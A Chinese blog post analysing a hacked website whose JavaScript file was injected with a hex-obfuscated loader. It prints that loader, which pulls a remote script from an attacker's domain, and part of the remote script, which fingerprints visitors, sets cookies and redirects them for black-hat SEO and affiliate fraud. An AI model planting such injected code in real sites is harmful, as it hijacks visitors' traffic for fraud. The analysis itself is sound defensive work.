某年、某月、某日,某事、某刻、某分、某秒,某人、某站、某代码的分析……
起因如下,在某时某刻,某人发过来一站及一段代码,然后求分析……
目标地址:http://upangu.com/
目标代码:
某人提出疑问:这段代码查看源代码是不存在的,但是在chrome的审查元素下能查到,为啥啊?
查看源文件,不存在该段代码
使用浏览器元素审查功能,则存在该代码
产生这种问题的原因其实很简单,这是执行页面内部 JavaScript 或外部 .js 脚本后动态输出、插入的代码,具有该功能的函数有:
document.write document.writeln tablerowObject.innerHTML ......
这是很简单的一个函数,应用很广,这里就不多说了……
那么,思路就很清晰了,我们只需要揪出来它藏在哪段脚本里即可……
经过一段时间排查(小窍门:由于 JavaScript 是从上到下依次执行的,所以重点排查目标代码之上的 JavaScript 及 Js 文件即可,当然,如果你时间多的话,全部检查一遍也无妨),在首页调用的一个 Js 中发现一段可疑代码:
首页调用的正常 Js 文件:
可疑代码(代码经过格式化):
var rs_cd = "3C736372697074207372633D2268747"; rs_cd += "4703A2F2F676F2E393070736D616E2E636"; rs_cd += "F6D2F6A732E6A73223E3C2F7363726970743E"; var rs_ct = ""; for (var i = 0; i
可疑代码
看似加密了,其实解密方法很简单:
还原后的代码为:
这个所谓的加密只是十六进制表示的字符串而已……
至此,分析结果已经很清晰了:
1、某人入侵了该站,至少有文件修改权限。
2、找到了首页调用的一个 Js,并在其不起眼的位置加了一段恶意 Js 代码。
代码分析完毕,我们再回过头来看看这段 Js 代码是干什么的吧……
首先下载:http://go.90psman.com/js.js
(吐槽:直接打开“go.90psman.com”,居然还伪装成 304 错误:Bad Request (Invalid Hostname))
从下载的数据包中得知,该文件最后修改时间为:
HTTP/1.1 200 OK Date: Thu, 06 Sep 2012 06:36:46 GMT Cache-Control: max-age=864000 Content-Length: 4740 Content-Type: application/x-javascript Last-Modified: Fri, 17 Aug 2012 14:43:42 GMT Accept-Ranges: bytes ETag: "68c2b4b2867ccd1:13c2" X-Powered-By: ASP.NET Age: 2 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive也就是北京时间:2012年8月17日(星期五)22时43分42秒,看来这段代码有一段时间没更新了……
扯远了,回过头来继续看 js.js 内容(代码经过格式化):
if ("undefined" == typeof(reObj)) { reObj = []; reObj.platF = navigator.platform.toString().toLowerCase(); reObj.appVer = navigator.userAgent; reObj.refer = document.referrer; reObj.domain = document.domain; reObj.appVerStr = reObj.appVer.toLowerCase(); reObj.win = window; reObj.yOs = function() { var osInfo = ""; var fSys = new RegExp("(NT 5.2)|(NT 5.0)", "i"); var fBrowser = new RegExp("(firefox)|(alexa)", "i"); try { osInfo = reObj.appVer.match(/Windows NT d.d/i).toString().toLowerCase(); } catch(e) {} if (fSys.test(osInfo) || fBrowser.test(reObj.appVer) || reObj.platF == "x11" || reObj.platF.indexOf("linux") > -1) return false; return true; }; reObj.isIE678 = function() { var chkIEReg = new RegExp("(MSIE 8.0)|(MSIE 6.0)|(MSIE 7.0)", "i"); if (chkIEReg.test(reObj.appVer)) return true; return false; }; reObj.noPluginDev = function(notIeCore) { if (!notIeCore) return true; var regPlugin = new RegExp("(google)|(firefox)", "i"); try { for (i = 0; i大略的看了一下代码,代码很简单,判断用户来路,如果符合条件则植入 Cookie + 跳转,简单地说,就是最近很流行的某种黑帽 SEO 方法。
方法就不介绍了,可以翻翻本站以前的文章,有详细讲过……
现在看看它跳转到哪里去了,我们来构造 Url 地址:
格式:
http://chinacaidao.com/301.asp?s=关键词&b=前一个关键词&q=关键词
(提示:以上关键词均提取自来路地址)
例子:
http://chinacaidao.com/301.asp?s=核总到此一游&b=核总再次一游&q=核总三顾茅庐
访问该地址后,302(Moved Temporarily)跳转到:
Url 地址:
http://s8.taobao.com/search?q=茅庐&commend=all&pid=mm_32507042_3273379_10698017
分析 Url,看到“pid”木有?呵呵,taobao + pid = ?,你懂、我懂、大家都懂……
它就是:狗血的淘宝客……(不知道什么是淘宝客的同学,可以自己去查查)
再看关键词“茅庐”,这和之前提交的关键词存在关联,提交之后,会自动跳转到淘宝搜索页面(淘宝客返利)……
(提示:如果直接访问 http://chinacaidao.com/301.asp 不提交任何关键词,那么会使用默认关键词“保健品”)
至此,这个个流程已经很清晰了,整个流程,都是地地道道的利用黑帽SEO做淘宝客,具体的不多说,这行大家都懂……
(PS:淘宝客做得好的话,利润还是相当高的,比黑产还疯狂……)
最后,对该“黑客”进行总体评价:
隐藏方法:★★★★★★★★☆☆
隐藏位置:★★★★★☆☆☆☆☆
加密方案:★★☆☆☆☆☆☆☆☆
编程功力:★★★★★★☆☆☆☆
盈利方案:★★★★★★★☆☆☆
总体评价:★★★★★★★☆☆☆
最后,从各个角度加以分析后,得出一个结论,该“黑客”为专业黑帽SEO,并非普通做关键词的小喽罗。
可惜,在更专业的黑客面前,一切都是浮云……
留言评论(旧系统):
文章来源于lcx.cc:简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论